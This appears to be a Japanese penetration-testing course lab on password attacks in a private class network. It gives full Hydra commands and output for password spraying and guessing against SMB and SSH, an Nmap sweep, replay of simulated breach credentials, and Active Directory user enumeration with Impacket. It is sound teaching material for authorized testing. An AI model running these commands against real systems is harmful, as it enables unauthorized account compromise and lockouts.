Lab 2.1: パスワード推測
オンライン演習
接続性: この演習を行うには、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
- Windows ターゲットの SMB に対する Hydra を使用したパスワードスプレー攻撃を実施する
- Windows ターゲットの SMB に対する Hydra を使用したパスワード推測攻撃を実施する
- SSH デーモンに対する Hydra を使用したパスワード推測攻撃を実施する
ウォークスルー動画
ラボのセットアップ
使用するVM:
- Linux
Linux VM から 10.130.10.10 への ping が通ることを確認してください:
コマンド
ping -c 4 10.130.10.10
想定される結果
sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=178 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=155 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=109 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=121 ms
--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 109.273/140.812/178.100/27.336 ms
ラボ – ステップバイステップの手順
これから、2つのターゲットマシンに対してパスワード推測ラボを実施します:
10.130.10.10
: Linux Web サーバー10.130.10.4
: Windows ドメインコントローラー
また、ターゲット組織には、すべてのパスワードが8文字以上で、以下の 5 つの基準のうち 3 つを満たす必要があるというパスワードポリシーがあると想定します:
- 数字
- 大文字
- 小文字
- 特殊文字
- その他の文字
これは非常に標準的なポリシーです。「5つのカテゴリーのうち3つ」というのは、Microsoft が「複雑な」パスワードとして定義しているものです。
これがシナリオです。攻撃を開始しましょう。
1: パスワードスプレー (SMB)
1つのパスワードと多数のユーザー名を使用するパスワードスプレーを実施しましょう。これは、多数のユーザーアカウントのリストがあり、パスワード推測の失敗回数が多すぎてアカウントがロックアウトされないように注意する必要がある場合に有効なテクニックです。
また、ペネトレーションテスト中に、ユーザー名が簡単に手に入ることはありません。
偵察フェーズからフォーマットがわかっていると仮定し、ユーザー名のフォーマットが名前のイニシャルに続いて姓(「flast」と呼びます)であることを特定したとします。つまり、Walt Disney の場合、アカウントは wdisney
になります。この時点では、正当なアカウントはわかりません。推測する必要があります。
ある進取的な個人が、Facebook から名前のリストを抽出し、そのリストを使用して「flast」フォーマットの名前のリストを生成しました。
そのリストの上位100個を /opt/passwords/facebook-f.last-100.txt
に用意しました(完全なリストは skullsecurity.org にあります)。リストの最初の20個のユーザー名を見てみましょう。
コマンド
head -n 20 /opt/passwords/facebook-f.last-100.txt
想定される結果
sec560@slingshot:~$ head -n 20 /opt/passwords/facebook-f.last-100.txt
jsmith
ssmith
skhan
msmith
skumar
csmith
asmith
jjohnson
dsmith
akhan
ksmith
akumar
jwilliams
jjones
jlee
jbrown
ssingh
tsmith
bsmith
rsmith
ご覧のように、Smith は非常に一般的な姓です。このリストを、一般的な脆弱な(推測しやすい)パスワードと組み合わせて、最初のパスワード推測に使用します。
一般的なパスワードである SeasonYear フォーマットでこのリストを使用しましょう。Hiboxy は北米の会社なので、現在の季節(Spring、Summer、Autumn、Winter)と現在の年を使用します。たとえば、2024年2月の場合、パスワード Winter2024
を使用します。それが機能しない場合は、次の季節(90日のローテーションで変更が必要になった可能性があります)と前の季節(ユーザーがまだローテーションしていない可能性があります)を試してください。
何が見つかるか見てみましょう!
注意
注意: ここでのパスワードはプログラムで生成されるため、実際のパスワードはクラスを受講する時期とインフラストラクチャが構築された時期によって異なります。実際のパスワードの代わりにプレースホルダー SEASONYEAR を使用します。
このパスワードスプレーには hydra を使用しましょう(SEASONYEAR
を北半球の現在の季節と現在の年に置き換えることを忘れないでください)。
以下のオプションを使用します:
-L /opt/passwords/facebook-f.last-100.txt
: ユーザー名のリストを使用-p SEASONYEAR
: 正確な現在の SeasonYear パスワードを使用(例: "Summer2024")-m workgroup:{hiboxy}
: ドメインコントローラーに接続するため、ドメインを指定する必要があります(注:{}
が必要です)10.130.10.4
: ドメインコントローラーの IP アドレス(スキャンで発見)smb2
: プロトコル
コマンド
以下のコマンドの SEASONYEAR
を、Summer2024 のような北半球の現在の季節と年に置き換えてください。
hydra -L /opt/passwords/facebook-f.last-100.txt -p SEASONYEAR -m workgroup:{hiboxy} 10.130.10.4 smb2
想定される結果
sec560@560vm:/pentest/vulnerability-analysis/hydra$ hydra -L /opt/passwords/facebook-f.last-100.txt -p Summer2024 -m workgroup:{hiboxy} 10.130.10.4 smb2
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-14 22:53:42
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:100/p:1), ~7 tries per task
[DATA] attacking smb2://10.130.10.4:445/workgroup:{hiboxy}
[WARNING] 10.130.10.4 might accept any credential
[445][smb2] host: 10.130.10.4 login: alee password: Summer2024
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-14 22:53:53
素晴らしい! alee
のパスワードが見つかりました!
ちなみに、このユーザーはメインウェブサイトの About ページを見ることで見つけることができます!
実際の世界では、別のパスワード推測を試す前に、最長の観察ウィンドウが期限切れになるまで待ちます。あまりにも早く進めると、ユーザーをロックアウトしてサービス拒否を引き起こすリスクがあります。これはラボ環境なので、ラボをより信頼性が高く安定させるために、アカウントロックアウトを無効にしています。
さらにいくつかのオプションを試してみてください:
- 次の季節
- 前の季節
- この SeasonYear の末尾に
!
を追加 - 次の SeasonYear の末尾に
!
を追加 - 前の SeasonYear の末尾に
!
を追加
多数のユーザーのパスワードが見つかるはずです。以下のボックスを展開して、見つかったユーザーのパスワードを確認してください。
パスワード (クリックして展開)
これらのユーザーとパスワードが見つかったはずです
Username | Password Format |
---|---|
alee | 現在の季節 |
janderson | 次の季節 |
ssmith | 次の季節 + ! |
jlopez | 前の季節 + ! |
2: 辞書
パスワード推測リストは、クラッキングに使用されるパスワードリストよりもはるかに短くなります(クラッキングについては、このコースの後半で説明します)。パスワード推測では、リモートサービスとやり取りする必要があり、速度が遅くなります。また、サービス拒否を引き起こすほど速く進めたくありません。さらに、オンラインパスワード攻撃はロックアウトの対象となる可能性があるため、注意が必要です。ラボで問題を起こさないように、ロックアウトを無効にしています(あなたや他の学生のために)。
作業を簡単にするために、季節と年、および Password1 を含む非常にシンプルなパスワードリストを使用します。最初の推測に使用するファイルの内容を見てみましょう。
コマンド
cat /opt/passwords/simple.txt
想定される結果
sec560@slingshot:~$ cat /opt/passwords/simple.txt
Password1
Password1!
Winter21
Spring21
Fall21
Autumn21
Winter22
Spring22
Fall22
Autumn22
Winter21!
Spring21!
Fall21!
... truncated for brevity ...
wc -l
を使用して行数をカウントしましょう。
コマンド
wc -l /opt/passwords/simple.txt
想定される結果
sec560@560vm:~$ wc -l /opt/passwords/simple.txt
26 /opt/passwords/simple.txt
シンプルなパスワードリストの準備ができました。推測を開始しましょう!
3: パスワード推測 (SSH)
カスタマイズしたパスワードリストを手に、最初のパスワード推測攻撃のために Hydra を設定できます。Linux 管理者の1人が Bruce Green という名前であることがわかっているので、パスワード推測には bgreen
を使用します。
以下の設定で Hydra を実行します:
- ユーザー名
bgreen
- 作成したパスワードリストを使用
- 単一ターゲット 10.130.10.10
- プロトコルは SSH
コマンド
hydra -l bgreen -P /opt/passwords/simple.txt 10.130.10.10 ssh
想定される結果
sec560@560vm:~$ hydra -l bgreen -P /opt/passwords/simple.txt 10.130.10.10 ssh
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-14 22:56:08
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.130.10.10:22/
[22][ssh] host: 10.130.10.10 login: bgreen password: Password1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-14 22:56:16
出力の次の行に注目してください。
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
Hydra は、SSH がレート制限を行う可能性があることを警告し、デフォルトの16ではなく4スレッドを使用することを提案しています。Hydra はスキャンにデフォルト値を使用します。
4: アクセスの検証
このアカウントを取得したので、hydra を使用して、この認証情報を Windows システムで使用できるかどうかを確認しましょう。
まず、ポート 445 (SMB) をリッスンしているシステムのリストを取得しましょう。ポート 445 のみをターゲットにした Nmap を実行し、出力を /tmp
に保存します。
コマンド
nmap -n -Pn -p 445 --open -oA /tmp/smb 10.130.10.0/24
想定される結果
sec560@560vm:~$ nmap -n -Pn -p 445 --open -oA /tmp/smb 10.130.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 22:57 UTC
Nmap scan report for 10.130.10.4
Host is up (0.096s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Nmap scan report for 10.130.10.5
Host is up (0.096s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Nmap scan report for 10.130.10.7
Host is up (0.096s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
... truncated for brevity ...
次に、grep
と cut
を使用して、ポート 445 をリッスンしているシステムのリストを取得し、tee
を使用して /tmp/smbservers.txt
に保存します。
コマンド
grep 445/open /tmp/smb.gnmap | cut -d' ' -f 2 | tee /tmp/smbservers.txt
想定される結果
sec560@560vm:~$ grep 445/open /tmp/smb.gnmap | cut -d' ' -f 2 | tee /tmp/smbservers.txt
10.130.10.4
10.130.10.5
10.130.10.7
10.130.10.23
10.130.10.25
10.130.10.44
hydra
を使用して、これらの認証情報が Windows システムで有効かどうかを確認しましょう。
コマンド
hydra -m workgroup:{hiboxy} -l bgreen -p Password1 -M /tmp/smbservers.txt smb2
想定される結果
sec560@560vm:~$ hydra -m workgroup:{hiboxy} -l bgreen -p Password1 -M /tmp/smbservers.txt smb2
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-02 19:49:02
[DATA] max 1 task per 7 servers, overall 7 tasks, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking smb2://(7 targets):445/workgroup:{hiboxy}
[WARNING] 10.130.10.25 might accept any credential
[WARNING] 10.130.10.4 might accept any credential
[WARNING] 10.130.10.7 might accept any credential
[WARNING] 10.130.10.23 might accept any credential
[WARNING] 10.130.10.5 might accept any credential
[445][smb2] host: 10.130.10.25 login: bgreen password: Password1
[445][smb2] host: 10.130.10.7 login: bgreen password: Password1
[445][smb2] host: 10.130.10.23 login: bgreen password: Password1
[445][smb2] host: 10.130.10.4 login: bgreen password: Password1
[445][smb2] host: 10.130.10.5 login: bgreen password: Password1
[WARNING] 10.130.10.44 might accept any credential
[WARNING] 10.130.10.21 might accept any credential
[445][smb2] host: 10.130.10.44 login: bgreen password: Password1
[445][smb2] host: 10.130.10.21 login: bgreen password: Password1
7 of 7 targets successfully completed, 7 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-02 19:49:03
なぜこのアカウントがすべての Windows システムにアクセスできるように見えるのでしょうか? 覚えておいてください。私たちが行っているのは、ドメインアカウントの認証情報が有効かどうかを判断することだけです。このチェックでは、ユーザーがこれらのリモートマシンに管理者アクセス権を持っているかどうかは確認しません。このタイプのチェックを実行するには、PowerSploit の Find-LocalAdminAccess
などのツールを使用する必要があります。
さらに、これらの各リモートマシンにログオンすることで、パスワードが間違っている場合、ターゲットマシンごとに1回ログオン試行が失敗し、ターゲットマシンをロックアウトする可能性が高くなります。
5: 侵害された認証情報
コースの前半で説明したように、偵察フェーズで侵害された認証情報を探すのが好ましいです。そのような認証情報の(シミュレートされた)検索結果を提供しています。/opt/passwords/hiboxy-breach.txt
にあるリストを見てみましょう。
コマンド
cat /opt/passwords/hiboxy-breach.txt
想定される結果
sec560@560vm:~$ cat /opt/passwords/hiboxy-breach.txt
abaird:Kstar123
aschmitt:Annika0410
bking:ThaBoss1
bking:David1993!
bwalker:Powder05
bwalker:CoDy8k65
ckhan:Panther101
csmith:Love_12345
... truncated for brevity ...
ユーザー名とパスワードはコロン (:
) で区切られているので、Hydra で使用できます。Hydra でこれらのパスワードを使用して、有効なものがあるかどうかを確認しましょう。
Hydra で -C
オプションを使用して、指定された認証情報をテストします。指定された組み合わせのみを試行します。
コマンド
hydra -C /opt/passwords/hiboxy-breach.txt 10.130.10.4 -m workgroup:{hiboxy} smb2
想定される結果
sec560@560vm:~$ hydra -C /opt/passwords/hiboxy-breach.txt 10.130.10.4 -m workgroup:{hiboxy} smb2
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-14 22:59:51
[DATA] max 16 tasks per 1 server, overall 16 tasks, 22 login tries, ~2 tries per task
[DATA] attacking smb2://10.130.10.4:445/workgroup:{hiboxy}
[WARNING] 10.130.10.4 might accept any credential
[WARNING] 10.130.10.4 might accept any credential
[445][smb2] host: 10.130.10.4 login: bking password: ThaBoss1
[445][smb2] host: 10.130.10.4 login: jmartin password: Quincy626
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-14 22:59:53
侵害された認証情報のうち2つが、ドメインでまだ機能していることがわかりました!
6: すべてのドメインユーザーへのパスワードスプレー
少なくとも1つの有効なドメイン認証情報があるので、ユーザーの完全なリストを抽出できます。Impacket の GetADusers.py を使用します。Impacket については 560.4 で詳しく説明します。認証情報を user:password 形式で提供する必要があります。また、ドメインコントローラーの IP アドレス (-dc-ip
) を指定し、-all
ですべてのユーザーのリストを取得するようにツールに指示する必要があります。出力を画面に表示し、tee
で出力を保存します。
コマンド
GetADUsers.py hiboxy.com/bgreen:Password1 -dc-ip 10.130.10.4 -all | tee /tmp/adusers.txt
想定される結果
sec560@560vm:~$ GetADUsers.py hiboxy.com/bgreen:Password1 -dc-ip 10.130.10.4 -all | tee /tmp/adusers.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Querying 10.130.10.4 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator Administrator@hiboxy.com 2024-08-13 08:12:49.985159 2024-08-13 09:04:44.705802
Guest <never> <never>
SROCAdmin 2024-08-13 08:05:05.609091 <never>
krbtgt 2024-08-13 08:11:36.946586 <never>
SVC_SQLService SVC_SQLService@hiboxy.com 2024-08-13 08:12:58.968552 <never>
SVC_SQLService2 2024-08-13 08:12:59.125293 <never>
krosterman 2024-08-13 08:12:59.188018 <never>
smorgan smorgan@hiboxy.com 2024-08-13 08:12:59.250700 <never>
sroc.admin 2024-08-13 08:12:59.297724 2024-08-14 23:02:03.911735
tduncan 2024-08-13 08:12:59.344775 <never>
antivirus antivirus@hiboxy.com 2024-08-13 08:13:00.912287 <never>
aallen aallen@hiboxy.com 2024-08-13 08:13:01.053360 <never>
aalvarado aalvarado@hiboxy.com 2024-08-13 08:13:01.272810 <never>
...truncated for brevity...
ユーザーのリストを抽出しましょう。上記の出力を見ると、最初の6行をスキップしてから、各行の最初の項目を取得する必要があります。tail -n +6
を使用して最初の6行をスキップし、次に cut
を使用して最初の列を取得します。
コマンド
tail -n +6 /tmp/adusers.txt | cut -d ' ' -f 1 | tee /tmp/domainusers.txt
想定される結果
sec560@560vm:~$ tail -n +6 /tmp/adusers.txt | cut -d ' ' -f 1 | tee /tmp/domainusers.txt | head
Administrator
Guest
SROCAdmin
krbtgt
SVC_SQLService
SVC_SQLService2
krosterman
smorgan
sroc.admin
tduncan
...truncated for brevity...
ドメインユーザーのリストができたので、スプレーを試してみましょう。Password1
から始めましょう。
コマンド
hydra -L /tmp/domainusers.txt -p Password1 -m workgroup:{hiboxy} 10.130.10.4 smb2
想定される結果
sec560@560vm:~$ hydra -L /tmp/domainusers.txt -p Password1 -m workgroup:{hiboxy} 10.130.10.4 smb2
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-02 19:49:56
[DATA] max 16 tasks per 1 server, overall 16 tasks, 572 login tries (l:572/p:1), ~36 tries per task
[DATA] attacking smb2://10.130.10.4:445/workgroup:{hiboxy}
[WARNING] 10.130.10.4 might accept any credential
[445][smb2] host: 10.130.10.4 login: bgreen password: Password1
[WARNING] 10.130.10.4 might accept any credential
[445][smb2] host: 10.130.10.4 login: jcooper password: Password1
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-02 19:50:26
これら2人のユーザーは、異なるグループメンバーシップ、権限などを持っている可能性があることを覚えておいてください。実際のエンゲージメントでは、各ユーザーとして BloodHound データを再収集して、新しい管理者権限があるかどうかを確認したり、BloodHound UI 内で「所有済み」としてマークしたり、グループメンバーシップを確認して、追加の権限(内部ファイル共有やアプリケーションへのアクセスなど)があるかどうかを確認したりする場合があります。
実際の世界では、ロックアウト観察ウィンドウが期限切れになるまで待ってから、再試行します。これはロックアウトが無効になっているラボなので、他のいくつかのパスワードで再試行してください:
Password1!
- CurrentSeasonYear (Autumn2024 のような北半球の現在の季節を使用)
- NextSeasonYear
- PreviousSeasonYear
- CurrentSeasonYear!
- NextSeasonYear!
- PreviousSeasonYear!
見つかるパスワードは以下のとおりです。
見つかったパスワード
これらのパスワードが見つかったはずです。推測された認証情報の完全なリストのために、侵害リストの他のパスワードも含まれています。
User | Password |
---|---|
alee | 現在の季節 年 |
bgreen | Password1 |
bking | ThaBoss1 |
bsanchez | 現在の季節 年 + ! |
bwebster | 現在の季節 年 |
hmarsh | 前の季節 年 |
janderson | 次の季節 年 |
jcooper | Password1 |
jlopez | 前の季節 年 + ! |
jmartin | Quincy626 |
kacevedo | 現在の季節 年 + ! |
mhernandez | Password1! |
mluna | 前の季節 年 |
nlopez | 次の季節 年 |
rduran | 現在の季節 年 + ! |
ssmith | 次の季節 年 + ! |
季節の変わり目に非常に近い時期にクラスを受講している場合、上記の季節がずれている可能性があります。
まとめ
このラボでは、ユーザーのリストと単一のパスワードを使用してパスワードスプレー攻撃を実施しました。また、パスワードのリストを使用して SSH に対するパスワード推測攻撃も実施しました。最後に、ドメインに対して侵害されたパスワードをテストして、さらに多くの有効な認証情報を見つけました。
これらの技術を組み合わせることは、ペネトレーションテスターにとって非常に有用です。なぜなら、ターゲット環境へのパスワードを提供できるからです。そのアクセスは、ターゲットシステムへの最初のエントリーポイントとなり、ペネトレーションテスターはそれを使用して略奪やピボットを行うことができます。